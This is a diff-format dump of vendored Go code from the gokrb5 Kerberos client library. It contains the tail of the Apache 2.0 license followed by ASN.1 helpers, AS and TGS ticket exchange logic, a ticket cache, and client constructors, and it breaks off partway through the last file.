Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright {yyyy} {name of copyright owner}
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
// Package asn1tools provides tools for managing ASN1 marshaled data.
|
||||
package asn1tools
|
||||
|
||||
import (
|
||||
"github.com/jcmturner/gofork/encoding/asn1"
|
||||
)
|
||||
|
||||
// MarshalLengthBytes returns the ASN1 encoded bytes for the length 'l'
|
||||
//
|
||||
// There are two forms: short (for lengths between 0 and 127), and long definite (for lengths between 0 and 2^1008 -1).
|
||||
//
|
||||
// Short form: One octet. Bit 8 has value "0" and bits 7-1 give the length.
|
||||
//
|
||||
// Long form: Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. Second and following octets give the length, base 256, most significant digit first.
|
||||
func MarshalLengthBytes(l int) []byte {
|
||||
if l <= 127 {
|
||||
return []byte{byte(l)}
|
||||
}
|
||||
var b []byte
|
||||
p := 1
|
||||
for i := 1; i < 127; {
|
||||
b = append([]byte{byte((l % (p * 256)) / p)}, b...)
|
||||
p = p * 256
|
||||
l = l - l%p
|
||||
if l <= 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return append([]byte{byte(128 + len(b))}, b...)
|
||||
}
|
||||
|
||||
// GetLengthFromASN returns the length of a slice of ASN1 encoded bytes from the ASN1 length header it contains.
|
||||
func GetLengthFromASN(b []byte) int {
|
||||
if int(b[1]) <= 127 {
|
||||
return int(b[1])
|
||||
}
|
||||
// The bytes that indicate the length
|
||||
lb := b[2 : 2+int(b[1])-128]
|
||||
base := 1
|
||||
l := 0
|
||||
for i := len(lb) - 1; i >= 0; i-- {
|
||||
l += int(lb[i]) * base
|
||||
base = base * 256
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
// GetNumberBytesInLengthHeader returns the number of bytes in the ASn1 header that indicate the length.
|
||||
func GetNumberBytesInLengthHeader(b []byte) int {
|
||||
if int(b[1]) <= 127 {
|
||||
return 1
|
||||
}
|
||||
// The bytes that indicate the length
|
||||
return 1 + int(b[1]) - 128
|
||||
}
|
||||
|
||||
// AddASNAppTag adds an ASN1 encoding application tag value to the raw bytes provided.
|
||||
func AddASNAppTag(b []byte, tag int) []byte {
|
||||
r := asn1.RawValue{
|
||||
Class: asn1.ClassApplication,
|
||||
IsCompound: true,
|
||||
Tag: tag,
|
||||
Bytes: b,
|
||||
}
|
||||
ab, _ := asn1.Marshal(r)
|
||||
return ab
|
||||
}
|
||||
|
||||
/*
|
||||
// The Marshal method of golang's asn1 package does not enable you to define wrapping the output in an application tag.
|
||||
// This method adds that wrapping tag.
|
||||
func AddASNAppTag(b []byte, tag int) []byte {
|
||||
// The ASN1 wrapping consists of 2 bytes:
|
||||
// 1st byte -> Identifier Octet - Application Tag
|
||||
// 2nd byte -> The length (this will be the size indicated in the input bytes + 2 for the additional bytes we add here.
|
||||
// Application Tag:
|
||||
//| Bit: | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 |
|
||||
//| Value: | 0 | 1 | 1 | From the RFC spec 4120 |
|
||||
//| Explanation | Defined by the ASN1 encoding rules for an application tag | A value of 1 indicates a constructed type | The ASN Application tag value |
|
||||
// Therefore the value of the byte is an integer = ( Application tag value + 96 )
|
||||
//b = append(MarshalLengthBytes(int(b[1])+2), b...)
|
||||
b = append(MarshalLengthBytes(len(b)), b...)
|
||||
b = append([]byte{byte(96 + tag)}, b...)
|
||||
return b
|
||||
}
|
||||
*/
|
||||
+189
@@ -0,0 +1,189 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/errorcode"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/keyusage"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/patype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/krberror"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// ASExchange performs an AS exchange for the client to retrieve a TGT.
|
||||
func (cl *Client) ASExchange(realm string, ASReq messages.ASReq, referral int) (messages.ASRep, error) {
|
||||
if ok, err := cl.IsConfigured(); !ok {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.ConfigError, "AS Exchange cannot be performed")
|
||||
}
|
||||
|
||||
// Set PAData if required
|
||||
err := setPAData(cl, nil, &ASReq)
|
||||
if err != nil {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KRBMsgError, "AS Exchange Error: issue with setting PAData on AS_REQ")
|
||||
}
|
||||
|
||||
b, err := ASReq.Marshal()
|
||||
if err != nil {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.EncodingError, "AS Exchange Error: failed marshaling AS_REQ")
|
||||
}
|
||||
var ASRep messages.ASRep
|
||||
|
||||
rb, err := cl.sendToKDC(b, realm)
|
||||
if err != nil {
|
||||
if e, ok := err.(messages.KRBError); ok {
|
||||
switch e.ErrorCode {
|
||||
case errorcode.KDC_ERR_PREAUTH_REQUIRED, errorcode.KDC_ERR_PREAUTH_FAILED:
|
||||
// From now on assume this client will need to do this pre-auth and set the PAData
|
||||
cl.settings.assumePreAuthentication = true
|
||||
err = setPAData(cl, &e, &ASReq)
|
||||
if err != nil {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KRBMsgError, "AS Exchange Error: failed setting AS_REQ PAData for pre-authentication required")
|
||||
}
|
||||
b, err := ASReq.Marshal()
|
||||
if err != nil {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.EncodingError, "AS Exchange Error: failed marshaling AS_REQ with PAData")
|
||||
}
|
||||
rb, err = cl.sendToKDC(b, realm)
|
||||
if err != nil {
|
||||
if _, ok := err.(messages.KRBError); ok {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KDCError, "AS Exchange Error: kerberos error response from KDC")
|
||||
}
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.NetworkingError, "AS Exchange Error: failed sending AS_REQ to KDC")
|
||||
}
|
||||
case errorcode.KDC_ERR_WRONG_REALM:
|
||||
// Client referral https://tools.ietf.org/html/rfc6806.html#section-7
|
||||
if referral > 5 {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KRBMsgError, "maximum number of client referrals exceeded")
|
||||
}
|
||||
referral++
|
||||
return cl.ASExchange(e.CRealm, ASReq, referral)
|
||||
default:
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KDCError, "AS Exchange Error: kerberos error response from KDC")
|
||||
}
|
||||
} else {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.NetworkingError, "AS Exchange Error: failed sending AS_REQ to KDC")
|
||||
}
|
||||
}
|
||||
err = ASRep.Unmarshal(rb)
|
||||
if err != nil {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.EncodingError, "AS Exchange Error: failed to process the AS_REP")
|
||||
}
|
||||
if ok, err := ASRep.Verify(cl.Config, cl.Credentials, ASReq); !ok {
|
||||
return messages.ASRep{}, krberror.Errorf(err, krberror.KRBMsgError, "AS Exchange Error: AS_REP is not valid or client password/keytab incorrect")
|
||||
}
|
||||
return ASRep, nil
|
||||
}
|
||||
|
||||
// setPAData adds pre-authentication data to the AS_REQ.
|
||||
func setPAData(cl *Client, krberr *messages.KRBError, ASReq *messages.ASReq) error {
|
||||
if !cl.settings.DisablePAFXFAST() {
|
||||
pa := types.PAData{PADataType: patype.PA_REQ_ENC_PA_REP}
|
||||
ASReq.PAData = append(ASReq.PAData, pa)
|
||||
}
|
||||
if cl.settings.AssumePreAuthentication() {
|
||||
// Identify the etype to use to encrypt the PA Data
|
||||
var et etype.EType
|
||||
var err error
|
||||
var key types.EncryptionKey
|
||||
if krberr == nil {
|
||||
// This is not in response to an error from the KDC. It is preemptive or renewal
|
||||
// There is no KRB Error that tells us the etype to use
|
||||
etn := cl.settings.preAuthEType // Use the etype that may have previously been negotiated
|
||||
if etn == 0 {
|
||||
etn = int32(cl.Config.LibDefaults.PreferredPreauthTypes[0]) // Resort to config
|
||||
}
|
||||
et, err = crypto.GetEtype(etn)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncryptingError, "error getting etype for pre-auth encryption")
|
||||
}
|
||||
key, err = cl.Key(et, nil)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncryptingError, "error getting key from credentials")
|
||||
}
|
||||
} else {
|
||||
// Get the etype to use from the PA data in the KRBError e-data
|
||||
et, err = preAuthEType(krberr)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncryptingError, "error getting etype for pre-auth encryption")
|
||||
}
|
||||
cl.settings.preAuthEType = et.GetETypeID() // Set the etype that has been defined for potential future use
|
||||
key, err = cl.Key(et, krberr)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncryptingError, "error getting key from credentials")
|
||||
}
|
||||
}
|
||||
// Generate the PA data
|
||||
paTSb, err := types.GetPAEncTSEncAsnMarshalled()
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.KRBMsgError, "error creating PAEncTSEnc for Pre-Authentication")
|
||||
}
|
||||
//TODO (theme: KVNO from keytab) the kvno should not be hard coded to 1 as this hampers troubleshooting.
|
||||
paEncTS, err := crypto.GetEncryptedData(paTSb, key, keyusage.AS_REQ_PA_ENC_TIMESTAMP, 1)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncryptingError, "error encrypting pre-authentication timestamp")
|
||||
}
|
||||
pb, err := paEncTS.Marshal()
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.EncodingError, "error marshaling the PAEncTSEnc encrypted data")
|
||||
}
|
||||
pa := types.PAData{
|
||||
PADataType: patype.PA_ENC_TIMESTAMP,
|
||||
PADataValue: pb,
|
||||
}
|
||||
// Look for and delete any exiting patype.PA_ENC_TIMESTAMP
|
||||
for i, pa := range ASReq.PAData {
|
||||
if pa.PADataType == patype.PA_ENC_TIMESTAMP {
|
||||
ASReq.PAData[i] = ASReq.PAData[len(ASReq.PAData)-1]
|
||||
ASReq.PAData = ASReq.PAData[:len(ASReq.PAData)-1]
|
||||
}
|
||||
}
|
||||
ASReq.PAData = append(ASReq.PAData, pa)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// preAuthEType establishes what encryption type to use for pre-authentication from the KRBError returned from the KDC.
|
||||
func preAuthEType(krberr *messages.KRBError) (etype etype.EType, err error) {
|
||||
//The preferred ordering of the "hint" pre-authentication data that
|
||||
//affect client key selection is: ETYPE-INFO2, followed by ETYPE-INFO,
|
||||
//followed by PW-SALT.
|
||||
//A KDC SHOULD NOT send PA-PW-SALT when issuing a KRB-ERROR message
|
||||
//that requests additional pre-authentication. Implementation note:
|
||||
//Some KDC implementations issue an erroneous PA-PW-SALT when issuing a
|
||||
//KRB-ERROR message that requests additional pre-authentication.
|
||||
//Therefore, clients SHOULD ignore a PA-PW-SALT accompanying a
|
||||
//KRB-ERROR message that requests additional pre-authentication.
|
||||
var etypeID int32
|
||||
var pas types.PADataSequence
|
||||
e := pas.Unmarshal(krberr.EData)
|
||||
if e != nil {
|
||||
err = krberror.Errorf(e, krberror.EncodingError, "error unmashalling KRBError data")
|
||||
return
|
||||
}
|
||||
for _, pa := range pas {
|
||||
switch pa.PADataType {
|
||||
case patype.PA_ETYPE_INFO2:
|
||||
info, e := pa.GetETypeInfo2()
|
||||
if e != nil {
|
||||
err = krberror.Errorf(e, krberror.EncodingError, "error unmashalling ETYPE-INFO2 data")
|
||||
return
|
||||
}
|
||||
etypeID = info[0].EType
|
||||
break
|
||||
case patype.PA_ETYPE_INFO:
|
||||
info, e := pa.GetETypeInfo()
|
||||
if e != nil {
|
||||
err = krberror.Errorf(e, krberror.EncodingError, "error unmashalling ETYPE-INFO data")
|
||||
return
|
||||
}
|
||||
etypeID = info[0].EType
|
||||
}
|
||||
}
|
||||
etype, e = crypto.GetEtype(etypeID)
|
||||
if e != nil {
|
||||
err = krberror.Errorf(e, krberror.EncryptingError, "error creating etype")
|
||||
return
|
||||
}
|
||||
return etype, nil
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/flags"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/nametype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/krberror"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// TGSREQGenerateAndExchange generates the TGS_REQ and performs a TGS exchange to retrieve a ticket to the specified SPN.
|
||||
func (cl *Client) TGSREQGenerateAndExchange(spn types.PrincipalName, kdcRealm string, tgt messages.Ticket, sessionKey types.EncryptionKey, renewal bool) (tgsReq messages.TGSReq, tgsRep messages.TGSRep, err error) {
|
||||
tgsReq, err = messages.NewTGSReq(cl.Credentials.CName(), kdcRealm, cl.Config, tgt, sessionKey, spn, renewal)
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.KRBMsgError, "TGS Exchange Error: failed to generate a new TGS_REQ")
|
||||
}
|
||||
return cl.TGSExchange(tgsReq, kdcRealm, tgsRep.Ticket, sessionKey, 0)
|
||||
}
|
||||
|
||||
// TGSExchange exchanges the provided TGS_REQ with the KDC to retrieve a TGS_REP.
|
||||
// Referrals are automatically handled.
|
||||
// The client's cache is updated with the ticket received.
|
||||
func (cl *Client) TGSExchange(tgsReq messages.TGSReq, kdcRealm string, tgt messages.Ticket, sessionKey types.EncryptionKey, referral int) (messages.TGSReq, messages.TGSRep, error) {
|
||||
var tgsRep messages.TGSRep
|
||||
b, err := tgsReq.Marshal()
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.EncodingError, "TGS Exchange Error: failed to marshal TGS_REQ")
|
||||
}
|
||||
r, err := cl.sendToKDC(b, kdcRealm)
|
||||
if err != nil {
|
||||
if _, ok := err.(messages.KRBError); ok {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.KDCError, "TGS Exchange Error: kerberos error response from KDC when requesting for %s", tgsReq.ReqBody.SName.PrincipalNameString())
|
||||
}
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.NetworkingError, "TGS Exchange Error: issue sending TGS_REQ to KDC")
|
||||
}
|
||||
err = tgsRep.Unmarshal(r)
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.EncodingError, "TGS Exchange Error: failed to process the TGS_REP")
|
||||
}
|
||||
err = tgsRep.DecryptEncPart(sessionKey)
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.EncodingError, "TGS Exchange Error: failed to process the TGS_REP")
|
||||
}
|
||||
if ok, err := tgsRep.Verify(cl.Config, tgsReq); !ok {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.EncodingError, "TGS Exchange Error: TGS_REP is not valid")
|
||||
}
|
||||
|
||||
if tgsRep.Ticket.SName.NameString[0] == "krbtgt" && !tgsRep.Ticket.SName.Equal(tgsReq.ReqBody.SName) {
|
||||
if referral > 5 {
|
||||
return tgsReq, tgsRep, krberror.Errorf(err, krberror.KRBMsgError, "TGS Exchange Error: maximum number of referrals exceeded")
|
||||
}
|
||||
// Server referral https://tools.ietf.org/html/rfc6806.html#section-8
|
||||
// The TGS Rep contains a TGT for another domain as the service resides in that domain.
|
||||
cl.addSession(tgsRep.Ticket, tgsRep.DecryptedEncPart)
|
||||
realm := tgsRep.Ticket.SName.NameString[len(tgsRep.Ticket.SName.NameString)-1]
|
||||
referral++
|
||||
if types.IsFlagSet(&tgsReq.ReqBody.KDCOptions, flags.EncTktInSkey) && len(tgsReq.ReqBody.AdditionalTickets) > 0 {
|
||||
tgsReq, err = messages.NewUser2UserTGSReq(cl.Credentials.CName(), kdcRealm, cl.Config, tgt, sessionKey, tgsReq.ReqBody.SName, tgsReq.Renewal, tgsReq.ReqBody.AdditionalTickets[0])
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, err
|
||||
}
|
||||
}
|
||||
tgsReq, err = messages.NewTGSReq(cl.Credentials.CName(), realm, cl.Config, tgsRep.Ticket, tgsRep.DecryptedEncPart.Key, tgsReq.ReqBody.SName, tgsReq.Renewal)
|
||||
if err != nil {
|
||||
return tgsReq, tgsRep, err
|
||||
}
|
||||
return cl.TGSExchange(tgsReq, realm, tgsRep.Ticket, tgsRep.DecryptedEncPart.Key, referral)
|
||||
}
|
||||
cl.cache.addEntry(
|
||||
tgsRep.Ticket,
|
||||
tgsRep.DecryptedEncPart.AuthTime,
|
||||
tgsRep.DecryptedEncPart.StartTime,
|
||||
tgsRep.DecryptedEncPart.EndTime,
|
||||
tgsRep.DecryptedEncPart.RenewTill,
|
||||
tgsRep.DecryptedEncPart.Key,
|
||||
)
|
||||
cl.Log("ticket added to cache for %s (EndTime: %v)", tgsRep.Ticket.SName.PrincipalNameString(), tgsRep.DecryptedEncPart.EndTime)
|
||||
return tgsReq, tgsRep, err
|
||||
}
|
||||
|
||||
// GetServiceTicket makes a request to get a service ticket for the SPN specified
|
||||
// SPN format: <SERVICE>/<FQDN> Eg. HTTP/www.example.com
|
||||
// The ticket will be added to the client's ticket cache
|
||||
func (cl *Client) GetServiceTicket(spn string) (messages.Ticket, types.EncryptionKey, error) {
|
||||
var tkt messages.Ticket
|
||||
var skey types.EncryptionKey
|
||||
if tkt, skey, ok := cl.GetCachedTicket(spn); ok {
|
||||
// Already a valid ticket in the cache
|
||||
return tkt, skey, nil
|
||||
}
|
||||
princ := types.NewPrincipalName(nametype.KRB_NT_PRINCIPAL, spn)
|
||||
realm := cl.Config.ResolveRealm(princ.NameString[len(princ.NameString)-1])
|
||||
|
||||
tgt, skey, err := cl.sessionTGT(realm)
|
||||
if err != nil {
|
||||
return tkt, skey, err
|
||||
}
|
||||
_, tgsRep, err := cl.TGSREQGenerateAndExchange(princ, realm, tgt, skey, false)
|
||||
if err != nil {
|
||||
return tkt, skey, err
|
||||
}
|
||||
return tgsRep.Ticket, tgsRep.DecryptedEncPart.Key, nil
|
||||
}
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// Cache for service tickets held by the client.
|
||||
type Cache struct {
|
||||
Entries map[string]CacheEntry
|
||||
mux sync.RWMutex
|
||||
}
|
||||
|
||||
// CacheEntry holds details for a cache entry.
|
||||
type CacheEntry struct {
|
||||
Ticket messages.Ticket
|
||||
AuthTime time.Time
|
||||
StartTime time.Time
|
||||
EndTime time.Time
|
||||
RenewTill time.Time
|
||||
SessionKey types.EncryptionKey
|
||||
}
|
||||
|
||||
// NewCache creates a new client ticket cache instance.
|
||||
func NewCache() *Cache {
|
||||
return &Cache{
|
||||
Entries: map[string]CacheEntry{},
|
||||
}
|
||||
}
|
||||
|
||||
// getEntry returns a cache entry that matches the SPN.
|
||||
func (c *Cache) getEntry(spn string) (CacheEntry, bool) {
|
||||
c.mux.RLock()
|
||||
defer c.mux.RUnlock()
|
||||
e, ok := (*c).Entries[spn]
|
||||
return e, ok
|
||||
}
|
||||
|
||||
// addEntry adds a ticket to the cache.
|
||||
func (c *Cache) addEntry(tkt messages.Ticket, authTime, startTime, endTime, renewTill time.Time, sessionKey types.EncryptionKey) CacheEntry {
|
||||
spn := tkt.SName.PrincipalNameString()
|
||||
c.mux.Lock()
|
||||
defer c.mux.Unlock()
|
||||
(*c).Entries[spn] = CacheEntry{
|
||||
Ticket: tkt,
|
||||
AuthTime: authTime,
|
||||
StartTime: startTime,
|
||||
EndTime: endTime,
|
||||
RenewTill: renewTill,
|
||||
SessionKey: sessionKey,
|
||||
}
|
||||
return c.Entries[spn]
|
||||
}
|
||||
|
||||
// clear deletes all the cache entries
|
||||
func (c *Cache) clear() {
|
||||
c.mux.Lock()
|
||||
defer c.mux.Unlock()
|
||||
for k := range c.Entries {
|
||||
delete(c.Entries, k)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveEntry removes the cache entry for the defined SPN.
|
||||
func (c *Cache) RemoveEntry(spn string) {
|
||||
c.mux.Lock()
|
||||
defer c.mux.Unlock()
|
||||
delete(c.Entries, spn)
|
||||
}
|
||||
|
||||
// GetCachedTicket returns a ticket from the cache for the SPN.
|
||||
// Only a ticket that is currently valid will be returned.
|
||||
func (cl *Client) GetCachedTicket(spn string) (messages.Ticket, types.EncryptionKey, bool) {
|
||||
if e, ok := cl.cache.getEntry(spn); ok {
|
||||
//If within time window of ticket return it
|
||||
if time.Now().UTC().After(e.StartTime) && time.Now().UTC().Before(e.EndTime) {
|
||||
cl.Log("ticket received from cache for %s", spn)
|
||||
return e.Ticket, e.SessionKey, true
|
||||
} else if time.Now().UTC().Before(e.RenewTill) {
|
||||
e, err := cl.renewTicket(e)
|
||||
if err != nil {
|
||||
return e.Ticket, e.SessionKey, false
|
||||
}
|
||||
return e.Ticket, e.SessionKey, true
|
||||
}
|
||||
}
|
||||
var tkt messages.Ticket
|
||||
var key types.EncryptionKey
|
||||
return tkt, key, false
|
||||
}
|
||||
|
||||
// renewTicket renews a cache entry ticket.
|
||||
// To renew from outside the client package use GetCachedTicket
|
||||
func (cl *Client) renewTicket(e CacheEntry) (CacheEntry, error) {
|
||||
spn := e.Ticket.SName
|
||||
_, _, err := cl.TGSREQGenerateAndExchange(spn, e.Ticket.Realm, e.Ticket, e.SessionKey, true)
|
||||
if err != nil {
|
||||
return e, err
|
||||
}
|
||||
e, ok := cl.cache.getEntry(e.Ticket.SName.PrincipalNameString())
|
||||
if !ok {
|
||||
return e, errors.New("ticket was not added to cache")
|
||||
}
|
||||
cl.Log("ticket renewed for %s (EndTime: %v)", spn.PrincipalNameString(), e.EndTime)
|
||||
return e, nil
|
||||
}
|
||||
+241
@@ -0,0 +1,241 @@
|
||||
// Package client provides a client library and methods for Kerberos 5 authentication.
|
||||
package client
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/config"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/credentials"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/errorcode"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/nametype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/keytab"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/krberror"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// Client side configuration and state.
|
||||
type Client struct {
|
||||
Credentials *credentials.Credentials
|
||||
Config *config.Config
|
||||
settings *Settings
|
||||
sessions *sessions
|
||||
cache *Cache
|
||||
}
|
||||
|
||||
// NewClientWithPassword creates a new client from a password credential.
|
||||
// Set the realm to empty string to use the default realm from config.
|
||||
func NewClientWithPassword(username, realm, password string, krb5conf *config.Config, settings ...func(*Settings)) *Client {
|
||||
creds := credentials.New(username, realm)
|
||||
return &Client{
|
||||
Credentials: creds.WithPassword(password),
|
||||
Config: krb5conf,
|
||||
settings: NewSettings(settings...),
|
||||
sessions: &sessions{
|
||||
Entries: make(map[string]*session),
|
||||
},
|
||||
cache: NewCache(),
|
||||
}
|
||||
}
|
||||
|
||||
// NewClientWithKeytab creates a new client from a keytab credential.
|
||||
func NewClientWithKeytab(username, realm string, kt *keytab.Keytab, krb5conf *config.Config, settings ...func(*Settings)) *Client {
|
||||
creds := credentials.New(username, realm)
|
||||
return &Client{
|
||||
Credentials: creds.WithKeytab(kt),
|
||||
Config: krb5conf,
|
||||
settings: NewSettings(settings...),
|
||||
sessions: &sessions{
|
||||
Entries: make(map[string]*session),
|
||||
},
|
||||
cache: NewCache(),
|
||||
}
|
||||
}
|
||||
|
||||
// NewClientFromCCache create a client from a populated client cache.
|
||||
//
|
||||
// WARNING: A client created from CCache does not automatically renew TGTs and a failure will occur after the TGT expires.
|
||||
